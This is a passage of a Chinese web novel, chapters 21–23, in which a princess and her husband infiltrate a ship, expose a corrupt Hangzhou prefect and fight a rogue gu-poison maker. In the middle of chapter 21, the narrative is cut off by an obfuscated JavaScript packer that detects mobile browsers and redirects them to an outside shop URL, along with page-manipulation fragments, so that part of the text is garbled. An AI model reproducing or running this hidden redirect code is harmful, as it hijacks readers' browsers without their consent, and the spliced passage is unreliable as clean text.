那人似是被这声大人给哄住了般,原本臭着的脸缓和了几分,但语气仍不好:“你们俩去哪呢?怎么没跟着队伍?” 说完他又面向南夙,问道:“你怎么一直低着头,抬起头来!” 他的嗓子像是含了一把土,说话声喉咙里伴着沙沙的声音,还特大声,南夙被他破锣嗓子一吼,吓了一跳,身子不自觉颤了一下。正想抬头,沈序却又开口。 “大人恕罪,此人是我弟弟,小时候得了场病,把嗓子给烧坏了,不是故意不给您行礼,是怕这病气冲撞了您。您看您大人有大量,别跟他计较。” 南夙在一旁低着头猛点头。 胡似被这一句大人给取悦到。因为他根本不是什么大人,虽然他从小的愿望就是有朝一日能够成为人上人,但这么多年,他却始终没有机会能够实现他的抱负,这一次能来做管理这些护卫的人,只是他在前些日子救了一个人,那人就是他的贵人,见他身手不错,便雇了他,让他这一次跟着出航。 因此他对眼前之人的话十分受用,又听旁边这人是个哑巴,立刻觉得晦气起来。他厌恶地瞪了哑巴一眼,仿佛他出现在这里就是晦气。他挥一挥手,示意他哥哥将人赶紧带走,又半带威胁地说了句“小心一点”,这才扬着下巴离去。 这边二人刚解决危机,南夙便歪头偷看了沈序一眼,偷偷在底下给沈序竖了个大拇指。 沈序轻笑着将她的手按下。 二人趁人没注意,在一旁顺过来一个盘子,里面放的约莫是酒,就这么正大光明的进了客舱。 进门左手边有一个隔间,两人进来时,正有一个小厮在敲门。 “画骨小姐,大人让你去宴会。” 画骨姐姐? 屋内传来女子温婉的回答:“告诉大人,我这就过去。” 真的是画骨姐姐的声音,南夙讶然,她真的在船上,看来沈序的猜测没错,果然飞云舸才是这次航程真正的主船。 那小厮得了回答便要离开,经过南夙身侧时突然被一把拉住。 南夙皱着眉头,一直手捂着肚子,压低声音说道:“兄弟,我这突然肚子疼,你能不能帮我将这酒端到中舱去。” 那小厮面带犹豫,正欲拒绝,南夙适时往他手中塞了点东西。那小厮立马变了脸色,笑着从南夙手中接过盘子。 转身的同时,南夙朝沈序使了个眼色,无声说道:“等我行动。” 沈序失笑,这小祖宗行动前不先知会他一声,打得他一手无措,眼下居然还敢叫自己等她。 他微低着头,眉头弯着,没让人发现他在笑。跟着那小厮往会客厅走。 南夙在那小厮结果盘子后就焦急地捂着肚子跑了,直到那俩人已经转身离去,她才敲响了眼前的房门。 “我不是说了马上就来吗?”屋内传来画骨不耐烦的声音。 南夙没说话,轻轻推开了房门。 画骨听见门被推开,转头正欲训斥,却见一张熟悉的脸出现在眼前。 南夙弯了弯眼睛,莞尔一笑,没再掩饰自己的声音。 “画骨姐姐,又见面了。” 21. 第 21 章 “画骨姐姐,回见。” 画骨仿佛看到昨日向她道别的人正与眼前的人重合,她恍惚了一会,突然清醒过来,快步走向南夙,将她拉进屋子里,又看了看外面是否有人经过,没看见人,才放心地关上了门。 转过身,她突然朝南夙单膝下跪,“见过公主殿下。” 南夙吃了一惊,忙将她拉起来,说自己受不起。 画骨却摇头,说子民见到公主理应下跪,公主怎会承受不起。 南夙不知道怎么解释,她干脆地转了话题,“画骨姐姐是昨日在暗香幡便认出我来了吗?” 也不知道为什么她一个活在乡下的公主却人人都认识。虽然她确实是灵诏公主没错,但她只是在接到和亲的命令时在众人面前出现过啊。 画骨点头,跪在她面前突然单膝便双膝,还十分郑重地在她面前弯下了腰。 这是给她磕头啊。 “属下身为灵诏子民,辜负了灵诏的祖训,请公主责罚。” 南夙虽是灵诏公主,但长这么大还没受过此种大礼。 画骨见到她的态度其实与她想的很不一样。她昨日刚见她时怀疑过她是灵诏人,也怀疑过她就是制蛊下蛊之人。根据她的推测,制作这蜃尘蛊的人应当有两个,两批蛊的时间挨的如此近。练蛊的技术是一件日积月累的事,并非三五天便能领悟的,若真有人能够在这么短的时间内领悟练蛊的门窍,那这人一定是个邪修。所以两次使用的蜃尘蛊一定不是同一个人所制。 但这个怀疑在后来听红雾说了那神医之后被打消了不少,原因有下,灵诏子民都有自己的命蛊,而南夙刚好具有感知蛊虫的能力,大多数蛊虫南夙靠近都会感知到,能让她身体有反应的说明是比较厉害的蛊虫,而那日,南夙没有在画骨身上发现任何蛊虫。 她感知不到的只有两种情况,一是这枚蛊虫已经随主人死了,是枚死蛊;二就是如蜃尘蛊一般平时宛如死蛊的这种蛊虫。第一种情况画骨明显不符合,因为她还活着;至于第二种情况,南夙觉得不太可能,蜃尘蛊阴损,乃是恶蛊,没人会用这样的蛊虫作为自己的命蛊,毕竟城里死的人下场就是最好的说明。 南夙没有发现画骨的命蛊,自然而然将对她的怀疑打消不少。 眼下画骨亲口承认自己是灵诏人,南夙便问道:“画骨姐姐,你的命蛊去哪了?” 画骨没有想到她第一句话居然不是责问自己,惊诧了一秒,随即反应过来南夙问的是什么,脸上表情酸涩起来,她似是犹豫良久,不知在思量什么。 南夙没有催她,过了片刻她才缓缓开口,但这话就仿佛烫嘴般,她迟迟说不出来。 “殿下……属下……” “是谁将你的命蛊取走了?”南夙适时打断她,“是那个神医?” 画骨讶然,显然没料到南夙连这个也能想到,但她说不出话,只好点头。 南夙了然,见她面露惊讶,解释道:“我也知道这个猜测过于大胆,毕竟命蛊一离开人体便意味着蛊死人亡。可若是有这么一种方式能将取出的命蛊继续养着,而主人也不会死呢。” 南夙抬眼对上画骨眼中的酸涩,补全没说完的话,“那是不是意味着这人的命就被握在别人手里了。” 画骨眸中闪过的痛苦也在南夙眼中清晰地划过,她知道,画骨这是默认了。 “最开始的那一批蜃尘蛊是你制的吗?”南夙继续问道。 “不是。”画蛊缓缓摇头,“最开始那批蛊是那人制的,失败后,他才找到我,我当时不愿意,他不知用了什么法子将我的命蛊生剥出来。” 说到这里,一滴热泪划过她的脸颊,“我当时还是不愿意,他就派人抓了我的家人,我丈夫身体不好,经不起折磨,我儿子还小,他才4岁。我能死,却不能看着他们死,所以我……” “那你……” 南夙不知道现在是不是应该指责她,“你怎么能这么自私?贪图自己的性命,却害死了那么多人。” 难道那些人的命便不是命了吗?那些人亲人孩子的命就不是命了吗? 可南夙说不出那种话,若说命,画骨的命也是命,难道因为死的人多,就能否认她救丈夫和孩子吗? 只是这代价太大了。 但眼下显然不是为此伤神的时候,南夙整理了一下情绪,问道:“你可知丈夫和孩子现下在何处。” “他们,死了。”画骨的语气骤然颤抖起来,脸色也变得扭曲,那双握着帕子的手此刻正将那帕子死死搅紧,仿佛她与那帕子有什么深仇大恨似的。 深仇大恨是有的,却不是对帕子。 画骨交代,她当时受人威胁不得不帮他制蛊,本想制完蛊后便带着丈夫孩子离开,可有一日,她去收集制蛊所用的材料时,意外捡到样东西,那是她与丈夫定亲时亲手袖制的荷包,丈夫最是喜爱,常年带在身上。但那日,荷包上沾满了血。 那日捡到东西后,画骨浑身发抖,为了证实丈夫是不是真的死了,她发疯一样的在林子里走了很久,最终在一山洞边发现了一摊血,她走进山洞,在里面发现了一些□□碎片,还有一身男人的衣物。 画骨确定那衣物是她丈夫所穿,便认定是那人背信弃义,杀害了她的丈夫。她又发了疯地去找孩子,但全无所踪,她没了希望,便下定决心一定要杀了那人。 可是她不会武功,命还被握在别人手中,她不知该怎么办。直到昨日遇到南夙。 她年轻时曾远远地见过公主一眼,那时公主还小。但公主长大后却没怎么变样貌,因此她只思考了几秒,便认出南夙来。 公主在年前嫁给了镇北侯府世子,现任大理寺少卿的沈序,他们来这,画骨自然能猜到是来做什么。她虽然只是制蛊,但丈夫死后的这些天,她一直在暗中调查,发现他居然与杭州刺史联合起来,杀人贪饷。 “公主需要属下做什么尽管吩咐,属下万所不辞。” 南夙听到这里,心中也有了主意。她问道:“你知道他们将饷银放在哪了吗?” “据属下观察,在下面三层。” 果然,他们刚才就是被拦在第三层的。 “那你知道他们的账册可能会放在哪吗?”南夙又问。他们此次的主要目的就是找到账册,只要有了账册,他们现在还有画骨和红雾这两个人证,那刺史百口莫辩。 画骨思量片刻,脑中细细思考着那神医平日的习惯,“那人十分谨慎,不论什么事都不会在外人面前说,我也只能在制蛊时接近他,我曾经不小心听到过他和刺史的对话,他的目的不是钱,所有的银子都让刺史拿着。所以这账册应当是在刺史手里。” 这对南夙来说倒是个好消息,只要不在那神医身上,对她来说就是好事。她还不知那人的实力,但就光凭他能生剥命蛊这一点来说,就足够南夙忌惮了。 “你说,会不会在下面三层?”南夙大胆猜测。那里被护卫严防死守,最有可能藏账册了。 南夙越想越有道理,当即说道:“我想办法溜进去。” 画骨却打断了她,“公主,我去吧。” “你去?可你不会武功,能行吗?” “我毕竟一直在刺史与那人身边,也算在下人面前混了个脸熟,我去的话至少上面两层的人不会怀疑,到时候我找个借口混进去就行了。” 南夙一想也是,这肯定比她溜进去方便多了,但方才那小厮不是说让画骨去宴会? “你不去宴会万一又有人来寻怎么办?” “没事,他们的宴会我本就不爱去,来人唤过便不会再管我了。” “好吧。” 画骨临走前,南夙向他打听了刺史和那神医的房间,她偷摸进去搜查了一番,都没找到账册,现在只能寄希望于画骨了。 对了,还有沈序。 他与那小厮去中舱了,不知道那边现在什么情况。 恰好这时又有几人端着托盘走了进来,南夙往阴影里一闪,待到几人往前走了一些,她偷偷跟在末尾那人身后,进了中舱后,前面的人给宴会上的大人们上食,南夙趁没人注意,溜到了一旁站着,开始偷偷观察这个中舱。 这舱内没有丫鬟,连歌舞助兴的女子都没有,全程上菜的都是男子,且与甲板上的护卫身着同一种服饰,这倒是给了他们混进来的机会。 宴会上主位上坐着那位约是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144244|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不惑之年,身着紫色幻灵窄袖袍衫,两簇八字胡自人中处分开,垂下一点点须来,一双眼睛像黄鼠狼一样,短小而精明。 此人便是这杭州刺史吴义。 杀人贪饷,悖逆人伦,他这声无义倒确实取得好。 南夙只看了他一眼便将视线收回。她低着头,偷偷抬眼,正欲寻找沈序的身影,右手小拇指突然被人勾了一下,南夙一惊,她眼帘低垂,目光却悄悄向右上角一掠。 然后她就与沈序对视了。她白了沈序一眼,轻轻把沈序的手打掉,说了句“别闹。” 接着,她垫着脚,小碎步轻挪着往右蹭,却没凑向沈序,食指在沈序的掌心勾了勾。 “现在什么情况?”她轻轻在沈序掌心中写到。 “半局开金樽呐。”沈序回道。 南夙又写,“那我们现在做什么?” “等。” 等韩砚他们的哨音响起,就是他们动手之时。 南夙又轻轻勾他的手,肩膀已经与沈序挨在一起,随着她手指的动作摩擦着。 就在这时,一声奇怪的哨音响起,这哨音先长后短,足足吹了两下才停下。但却不是沈序他们说好的哨音。 难道发生了什么意外? 宴席间众人自然也听到了这个声响,立刻警觉起来。只见吴义脸色大变,当即在座位上站起身来,怒斥道:“是谁?” 舱外突然跑进来一小厮,,手中捧着一只鹊鸲,磕磕绊绊地说道:“大人,是只鸟。” 吴义自然知道这鹊鸲的叫声像哨音,可这鹊鸲又不是成了精,叫声怎么会一长一短的变化。 他正要追问,却听这时,小厮手中的鹊鸲又开口叫了一声,叫声与方才的哨音连声调都一模一样。 宴席间众人立刻便安了心,一人笑道:“大人未免过于四面楚歌了,就是只鸟而已,何必忧心至此。” 吴义脸色不太好地坐了回去,心道:“怪异。” 他们放下心来,南夙心下一喜,“简直天助我也”,她就着还在沈序掌心的手指一字一句写道,“账册到手。” 沈序讶然,掌心突然收紧,将南夙的手指包在了掌心中。南夙疑惑他的动作,但心中高兴,也就没有在意。 她高兴地轻晃了下,头不自觉往前一晃,一抬眼,她便与一人投过来的目光对视上。 那人是席右侧的一个男子,身着一身靛蓝圆领缺胯袍,一张脸很是俊美,看起来不超过二十五岁。 几乎是对视上的一眼,南夙便知晓他是谁,那个害了这么多人的神医,那个罪魁祸首。她只看了一眼便收回视线,假装无知,但那人的目光却一直停在她的身上,看得南夙如芒在背。 她心想,不会是被认出来了吧。 但那人却没有戳穿她,应该是没认出来,南夙这么想着,却感觉自己的身前多了点东西,她抬头一看,发现沈序不知道什么时候往前走了一步,站在自己身前,虽然没将她完全挡住,但却隔绝了那人投过来的视线。 原来沈序也感受到了。 南夙琢磨着那人什么时候会发现她的不对劲并站起来大喊一声“妖怪,我收了你”,但她一直等着,却始终没见那人有什么动静。 这一等,就等到了第二声哨音。 先后两声长哨音自远处传来,飘进中舱推杯换盏之间。宴席中的人见怪不怪,一人调笑道:“这大冬天的,江上的鹊鸲倒是多。” 吴义本就因为先前的哨音风声鹤唳,眼下一听这话,立刻察觉到不对,是啊,大冬天的,江上怎么会有鹊鸲呢。 他脸色骤变,正欲起身叫人, 比声音先来的却是沈序的刀出鞘的声。一片银光闪过,那刺史的脖子上已架上一把刀,顷刻间,便能人头落地。 席间顿时一片混乱,众人四散奔逃。 靠近舱门的一人先反应过来往外逃,舱门却在此时被一脚踹开,玄铁加身,黑刃在手,沈序的暗卫到了。 主座上,沈序一手架住无义的项上人头,一手举着大理寺少卿鱼符。 他年轻却冷冽的声音自上而来,字句沉凝着千钧之力,“大理寺少卿在此,诸位,安然否。” 22. 第 22 章 每个人小时候都会经历一件或几件对自己意义颇深的事,有的事一发生,影响的就是一辈子。 南夙也是。 她长大后,每每回忆起在灵诏的日子,也总有那么几件事让她身陷囹圄,不得出路。记忆尤深的是七岁那年,那是她刚离开诏父和阿维的日子,小南夙还没来得及过完七岁生日,便被诏父一纸命令撵到了乡镇。 那是个叫作石语的镇子。南夙一直认为这个名字的由来是因为镇子里那随处可见的奇形怪状的石头。 小南夙初到石语镇,一切都如此陌生,她未来得及适应,离开家乡与亲人的委屈与恐惧在这一刻同时爆发出来,叫她不知道往哪里安放。她有心想要找个人发泄,可阿姎死后,小南夙便再也没有感受过来自亲人的宠爱,不论是诏父还是阿维,他们都有更重要的事要做,没空搭理她这个乳臭未干的毛丫头。 可南夙是那种有事就要说事的人,她藏不住,经年地伪装将那段时日的她压抑得不像一个七岁的孩子。好在这时候,她发现了一个方法,将她的心里话讲给水流听。 小南夙觉得,水流哗啦哗啦流到远处去,如果她将自己的话都将给水听,那它们会把自己的话带出去,流向世界各地的吧。 她最喜欢的就是在下雨的第二日去到河边,像分享什么佳肴一般将自己的一腔不满或是快乐都倾诉给河流,因为那个时候,河流的水是最高的,回应她的声音也是最大的。 但上天好像存心就跟南夙过不去,非要将她这最后的栖息地也给破坏掉。 那也是一次涨潮的日子,南夙像往常一样来到了河边,将昨日习练蛊术时被姑姑骂了一通的抱怨说完,见河水噗哒噗哒地拍在河岸上回应她,她心下满意,正欲起身,却不知从哪来的力量突然将她推下了河。 坠落带来的失重感并不是南夙长大后的恐惧来源,最让她恐惧的,是落水的瞬间,坚硬如铁的水墙猛力挤压过来,蛮横地贯穿她的耳朵、鼻孔;是沉下水后那彻底的、吞噬一切的黑,睁眼与闭眼也没有区别,视线里只有浑浊的、搅动这的墨汁。小南夙觉得,她的周围好像有无数的影子在观望着她,看着她落水挣扎却无能为力的丑态,她努力伸手想抓住点什么,可那一瞬间,她什么也抓不住。 阿姎,我好害怕。 这是小南夙失去意识前脑海中的最后一句话。 她以为自己就要死了。 就在她放弃挣扎,任凭自己沉下去的时候,不知什么东西入水的声音骤然响起,小南夙只容得自己挣脱一秒钟脑中的浑浊,便晕了过去。 再醒来时,小南夙躺在河边,身旁有一个男人,看起来十七八岁的模样,浑身湿透地坐在小南夙身旁,似乎是在等她醒来。 是他救了我吗? 小南夙清醒了一会,艰难地在地上翻了个身,她的身体太重了,看起来纯像一只被人拍在案板上的胖头鱼。 她起身朝那人道谢,那人却挥挥手,见她醒来后起身拍拍屁股走人了。但他一身的水,又在地面坐了良久,屁股上早留了两半泥印子,是拍不掉的。 从那以后,小南夙再也不敢去河边了,她开始变得害怕水,再也没办法将水当作自己的朋友去倾诉,也不在期待它给的反应。 等下一次涨潮,河边终于的,少了一个身影。 小南夙又开始压抑起来,不过这次她的压抑没能持续多久,因为安雀来了。 小南夙始终记着那个曾经救了她的哥哥,决定以后长大了一定要找到他报答他。 但八年多过去了,南夙却再也没有遇到过他。南夙想,是世界太大了,他们不过萍水相逢,遇不上也正常。 但他们却遇到了。 暗卫踹门而入后,中舱一片混乱,妄图逃跑的人都被暗卫拎回了舱内。 吴义脖颈上顶着沈序的刀,两股战战,却还能逼迫自己砌词狡辩,“世子爷,您这是做什么?” 沈序听道他的声音就烦,斥道:“闭嘴。” 想到这佛口蛇心的刺史拿着朝廷的钱却杀害百姓,贪墨粮饷,他就恨不得将他碎尸万段,这厮居然还敢问他。 而这狼藉中,却有一人仍正襟危坐在席,似是什么情况都无法影响他,他慢条斯理地自桌上端起杯盏,往前轻轻一举,看起来是要与谁碰杯的样子。 他对面,是一直站着没有动的南夙。 南夙也不知道为何,从她看到这人的第一眼,她只觉得奇怪,这人似乎认出了她,但一直盯着她既不戳穿也不同她说话。现在还莫名其妙地给她敬酒。 他有病吧。 对面那人也不知道是不是看出了她眼中的迷茫,只见他仰头将杯中的酒喝下,将酒杯往桌上轻轻一放,抬眼望着南夙:“公主殿下,别来无恙啊。怎么这么快就把我忘了,我可是救过你一命呢。” 南夙眼睛骤然睁大,瞳孔放大,似是不敢置信。 “你是当年那个哥哥?” “正是。”那人慢慢悠悠地吐出话来,语气很弱,不知道的可能以为此人是个病弱之人。 就连南夙也怀疑了一瞬,这人年轻时明明很是健壮,怎么如今却变成了这副模样。 不知想到了什么,南夙惊道:“你用自己试蛊?” 那人嘴角轻轻向上扯了一下,“都是属下应该做的。” 南夙真是不知道说什么好,她方才这句话有半点夸他的意思吗?这人还自娱自乐地喘上了。 南夙立马追问:“灵诏古籍也是你盗的?” 对面坐着的人没有回答,但他的表情却已说明了一切。南夙几乎想立刻冲上去将人揍一顿。 可那人却像看懂了她的意图,在她动手之前说道:“公主还记得多年前我救了公主时,公主曾对我许诺过一件事吗?” “你想我放了你?不可能!” 话落的瞬间,南夙脚尖一点,长刃自腰间而出,直冲那人面中,那人终于不再坐着,起身灵活地往旁边一闪,南夙的刀几乎贴着他的脸划过。 那人一把抓住南夙握刀的手,语气轻轻传来,“公主何必这么激动,我何时说过想要公主饶我一命了?” 南夙用力一挣,将那人的手挣脱开来,手腕翻转,刀刃往左边飞去,那人再次灵敏避开,只见他身子向后一扬,刀堪堪从他鼻尖而过,而他躲了刀,一转身再次抓住南夙握着刀的腕子,将没说完的话补完,“公主要我们死,我们这些下人,自然是死得的。” 南夙听了这话,心里直骂娘,她心道:“我去你大爷的,嘴上说的好听,有本事别躲啊。” “只不过……”那人的话又冒了出来。 南夙简直想捂耳朵,真不想听这疯癫叨叨了,能不能专心打架,但那人却像不懂南夙的心思一般,南夙震惊地听他说道:“我想借公主的身体一用。” 那人说着,拇指还轻轻在南夙的手腕上摩挲了几下。南夙只觉得浑身难受,又读出他话中想拿自己试蛊的意思,一时不寒而栗。 她不再听那人的废话,另一只手突然抓住那人握着自己的手,猛里一拉,将人往一边一砸,人狠狠砸在舱中窗户上,将窗户砸得一片狼藉。 那人借势往外一滚,掉入甲板。南夙没有犹豫便跟在他身后跳了下去。那人在甲板上滚了几圈才停下来,再站起身时,身上已然凌乱,一张苍白无色的脸更显沧桑,只有嘴角那一抹红挂着,却是受了伤。 他站起身来,拇指轻轻将嘴角的血迹擦掉,嗤笑了一声,眼尾猩红地盯着南夙,“公主殿下当真如此绝情,丝毫不念当年救命之恩?” 南夙“呸”一声,“你还真好意思,就你杀的这些人,一百条命你都不够偿还的,还妄想用救命之恩来说服我吗?” “别废话,交出灵诏古籍。”南夙作出出招的准备姿势,还以为她下一句会说“我饶你一命。” 没想到,她却一字一句吐出“再拿你的命给那些无辜之人偿命。” 说罢,她提刀冲上前去,与那人缠斗起来。南夙刀刀致命,那人也没了之前的从容不迫,不敢再分心。 “砰!” 一阵沉闷的响声自甲板响起。 那人被南夙一脚踢翻,狠狠砸在甲板上,南夙停手,缓缓走向他,那人却好似不服输一般,两手撑着地,颤颤巍巍站起来。他的模样更加可怖了,身上的衣袍烂了几处,具是南夙刀刃的形状,而那刀刃仍沾着热血。他的头发也更乱了,嘴角的血像止不住一样不停地淌着。 可他的眼神却没乱,还是南夙刚看见时那样,藏着旁人看不懂的东西。他不再尝试擦嘴角的血,将手伸到了怀里。 南夙一见他的动作,立刻警觉起来,生怕他从怀中掏出什么东西。 却见他手举着一本古籍,一开口,混着鲜血说:“公主今日是想要这古籍和我的命。这古籍我今日便还给你,至于我的命……” 他看了南夙一眼,“我不愿死在公主手下,公主便手下留情,许我自尽吧。” 说完,未等南夙反应,他将古籍往前一扔,转身朝甲板边缘跑去。南夙察觉他的意图,连忙几步追上去,却还是晚了一步。 那人的身体狠狠坠入江中,砸起一片水花,转瞬也就不见了。 夜深水也暗,南夙什么也看不清,却能料想到,那江水中必然是混着鲜血了。 江水摇摇晃晃,南夙只觉得脑子一晕,她猛地起身,脱力般沿着栏杆滑了下去。好半晌,她才恢复了一些,起身捡起落在甲板上的古籍,恍恍惚惚地回了中舱。 她曾经也幻想过,如果再遇到那个救他的哥哥时会是怎样的光景,他们二人又会是怎样的态度相认,南夙会怎样报答他。 却不想,年岁会在每个不为人知的夜晚悄然偷走人们的记忆,等再想起来时,已然没了当时的感情了。 如果今日没有听他说那句话,南夙或许也记不起他了。 因为记忆没法弥补伤痛,他们二人走到今日,注定刀剑相向。 只是可惜,直到那人死了,南夙也不知道,他究竟叫做什么。 中舱众人已经被沈序给一一拿下,吴义被五花大绑扔在一边,已然没有了当时的从容,连装的力气都没有了。 南夙看着站在一边的画骨,猜到了他偃旗息鼓的原因。 当时画骨自荐去往下面三层找账册,南夙不放心,便将自己的哨子给了她,约定得手就吹两声哨子,一长一短。若是失败,就吹一声短哨,南夙不论如何也会想办法出去救她。 为了避免这声哨音打乱后续的计划,南夙特意溜回了下面二层一趟,方才她与沈序在此打探时,她发现这的箱子里,养着一种名为鹊鸲的鸟。南夙灵机一动,给那鸟喂了支蛊,又嘱咐画骨得手后将此鸟放出来,这才过了方才那关。 眼下众人已被拿下,沈序走至窗边,拿出哨子用力吹了一口,那哨音便在整个江面随着江水荡起来。三艘船一齐调头返航了。 南夙坐在一间客舱里,船返航后,她便没待在中舱,一个人出了门,找了间没人的屋子待着。 她望着窗外那一望无际的黑暗,只觉得心中越来越冰冷,她脸色有些难看,手脚冰冷,突然觉得胃里一阵翻涌,但那滋味被她一声不吭全给咽下去了。 直到一个人走到她的身边。 那人伸出手来牵过她的手,在手中暖了片刻,却始终没放开她的手。 “是不是不舒服?”他语气温柔。 南夙顿时两眼一热,却忍着没掉眼泪。按理说她在沈序面前已经哭过这么多次了,应当早就习惯了。 可她今日就是不想掉眼泪,于是她只是轻轻点了点头,说道:“头有些晕。” 沈序只当她又恐水了,便伸手将人揽进怀里,在南夙背上拍了拍。 南夙顺从着他的动作,在他怀中放空了许久,没多久便缓缓睡过去。她也快一日一夜没休息过了,沈序感受到怀中的脑袋突然重了,知晓南夙睡了过去。 他将南夙轻放在床上,待人睡熟,才出了门。但船上仍然乱着,他不放心,便叫了几个暗卫在门外守着,这才放心去处理残局。 船没多久便靠了岸,这三艘龙一样庞大的船,怎么去的就怎么回来的,唯一变了样的,只有船主人。 他们没回茅屋,而是径直进了杭州城,反正人都抓了,他们也没有什 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南夙先是问了她们能不能接受,众人都没有异议后才将自己的蛊给了她们。她的那些蛊都是自小养的,用自己的血温养而成,是最上乘的。 救了命,她们也没留下。她们都知道害了她们的并不是南夙,人家救了她们一命,已是大恩,不敢再强求太多。 一一告了别,便都各自离去了。 至于红雾,她原是想继续留在杭州,陪着她的小姐。但南夙提议让她跟着自己回到京城。 醉春楼既然已经以为她死了,南夙也希望她不要再回到那里去。其他的女子南夙不知道她们会不会回去,但红雾,南夙是知道她不想留在那里的。如果不是为了她的小姐,她应该也会早早告别那烟花之地吧。 红雾对于南夙的提议没立马答应,只说要去看看小姐。 两日后,南夙才得到她的答复,“只要小姐不嫌弃我,我愿意终身服侍小姐。 南夙哪里会嫌弃她,也不需要她的服侍,只是希望她能脱离苦海罢了。 此次见这些女子还有一件既让人高兴又令人唏嘘的事。这帮女子被遣出醉春楼后便蜗居在山下。一日,一个姑娘出门时竟然在外捡了对父子。 她们虽都是烟花巷柳之人,却也不好与一个男子过多牵扯。可当时几人还是决定将人留下,日夜照顾,过了好些日子,人才终于醒来。南夙后来才知道,那对父子居然就是画骨被那神医害死的丈夫儿子。 原来画骨这丈夫虽然病弱,却也不愿成为妻子的桎梏,便趁人不注意带着孩子逃了出来,只是没跑多久便被发现,他急中生智,跑进了山林里,又幸运地躲进了山洞,这才逃过一劫。 据他所说,那荷包应当是他逃跑时不小心弄丢的。至于那件沾满了血的衣袍,是他当时带着孩子逃出时摔了一跤,被残枝刮了一道,伤口不深,但流了很多血,为了不被追他们的人发现,他便脱了外袍栓在伤口处止血。 那山洞应当是山中大猫的地盘,里面有很多动物的碎片,他们进去时,还有新鲜的尸块。他担心待久了大猫回来,于是半夜,确认那些人已经离开,他才带着孩子出来。 却不料失血过多没了力气,便倒在山间了,幸好被一女子所救,否则他们父子二人便要命丧于此了。 南夙只觉一阵唏嘘。 画骨姐姐替人制蛊害了这些女子,目的是为了救自己的丈夫孩子。可最后,救了她的丈夫孩子的却是她害了的人。 南夙不知道该怎么去形容此刻她内心的感受,也不知道自己是不是有资格将这些事告诉这些受害的女子。 纠结到最后,连沈序都看不过去了,说她们的恩怨就交给她们去处理。 南夙一想也是,便将这件事告诉了画骨。画骨听后也是一惊,随后便泪流满面起来,南夙心有不忍,却也知道都是她自作自受。 她狠下心没再管这事,扔给画骨解决去了。 待到这些事全都解决完,杭州安定一些后,他们一行人便启程回京了。 他们来时偷偷摸摸不敢见人,回去却大张旗鼓。沈序像是要将吴义一行人在整个大景遛一遍,让那些百姓都知道他的恶性,也让那些当官的看着,为官不仁的下场。 而此刻京城,朝堂上的一些个大人物却坐不住了。 沈序当然不会给他们翻身的机会,早在拿到账册后,便修一封信,连带着在京城从郑平那拿到的证据、红雾和画骨等人的证词,一齐交给韩砚,让他和江陌叶燃先一步回京去了,眼下那些证据怕已盛到陛下面前了。 陛下看后自然是勃然大怒。军饷贪墨,救灾的钱也贪,这个国家这么贪下去国家都要贪完了。当即下令,户部侍郎尤谭私通永昌、护安二侯,贪饷杀人,斩立决。九族中男子发配边疆,女子发奴。从此,京城中再无尤氏。 两位侯爷虽死罪可免,但活罪难逃。削去官职,收回财产。 这两家也就这么没落了。 至于这刺史吴义,自然也是逃不了死罪的。不过他的罪孽更严重的是伙同外族残害同胞。南夙听说,死得可惨。 再说回案子,景帝听说吴义勾结外贼时,认为此次一定是灵诏挑衅,正欲发怒。又听南夙在此次案子中立了大功,还亲手杀了这外贼,既然功过相抵,景帝也就放了南夙一马。 谁料他不计较,沈序这厮反而进了宫,为他夫人讨赏来了。一番话说得那是天花乱坠,把南夙夸到天上去了。 沈序刚立了大功,也不好对他动怒,随他的意赏了东西,收了他大理寺少卿的职,便将人遣下去了。 南夙回院子看到一院子的赏赐时还吃了一惊,听下人说是沈序替她求来的更是惊上加惊。沈序上次看到皇帝的赏赐时是什么态度来着? 南夙记得他当时脸色可难看了来着,干嘛突然替自己讨赏。 虽然想不通,但晚上就寝时她还是谢了沈序。沈序欣然应下。 他们俩现在仍在睡在一间屋子,不过还是南夙睡床,沈序枕榻,二人对此都没有异议,就这样在解决完所有事后终于安然地睡了一晚。 23. 第 23 章 “安雀,安雀!” 一大早,靖北侯府便传来南夙中气十足的声音。 杭州回来后,他们六人将所有事都进行了一次复盘,除了城外那名因炼骨蛊而死的妇人身上的谜没有解开,别的疑惑一概有了着落,就连画骨的命蛊也已经找了回来。 南夙回京的第一件事,就是给诏父阿维写了信,并将那本古籍一并让人带了回去。 所有事到这里都有了结果,南夙与沈序的合作很是成功,沈序查清了贪饷一案,给了边疆将士与百姓们一个交代。南夙拿回灵诏秘籍,杀了叛贼,也给了灵诏子民一个解释。 南夙向后一倒躺在床上,决定从今日起开始享受她安闲自得的世子妃生活,任谁来也别想再打扰她的清闲。 今日已经是她们回京城的第五日。入了春,南夙就不喜欢关窗,总要让安雀她们打开,偷一缕春风做赏。 南夙躺在床上百无聊赖,她摘下脚踝上系的铃铛,十九蛊正安然地宿在里面,被南夙轻轻一晃,便抱团在铃铛里打起滚来。 南夙看着蛊虫蠢蠢的模样,不由得弯了眼睛,在床上轻轻笑起来。一转身,一院的春光便如酿好的酒香一样灌进她的眼睛里。 院子里的桃花开了。 好美啊。 南夙感叹。 忽然,她突然想起什么。 南夙一个激灵,这才发现自己究竟忘了什么事,于是便出现了她一大早给安雀叫魂这一幕。 安雀应声而来,刚一推开房门,南夙便坐起身来。于是安雀一走过屏风便见小姐直直地盯着自己。 “小姐,这是怎么了?” 南夙这时才发现,红雾也跟着进来了,此刻就站在安雀的身后。进了屋,先给南夙行了礼,南夙随便地挥挥手。 问道:“今天是哪日了?” “三月二十五了,”安雀说道,又问,“小姐想做什么?” 南夙一惊,原来她们真的在百忙之中成功的将沈序的生辰给忘了啊。 他们下江南时去得急,回来时又忙着解决杭州的事。南夙仔细思考了一下二月十六那日他们的行程。哦,她那日好像忙着纠结应该如何解决画骨姐姐与那帮女子之间的事,全然忘了沈序生辰这事。 脑中又想起初到杭州那日她信誓旦旦地对沈序承诺,“我记得你的生辰,我给你送个生辰礼吧。” 南夙汗颜。 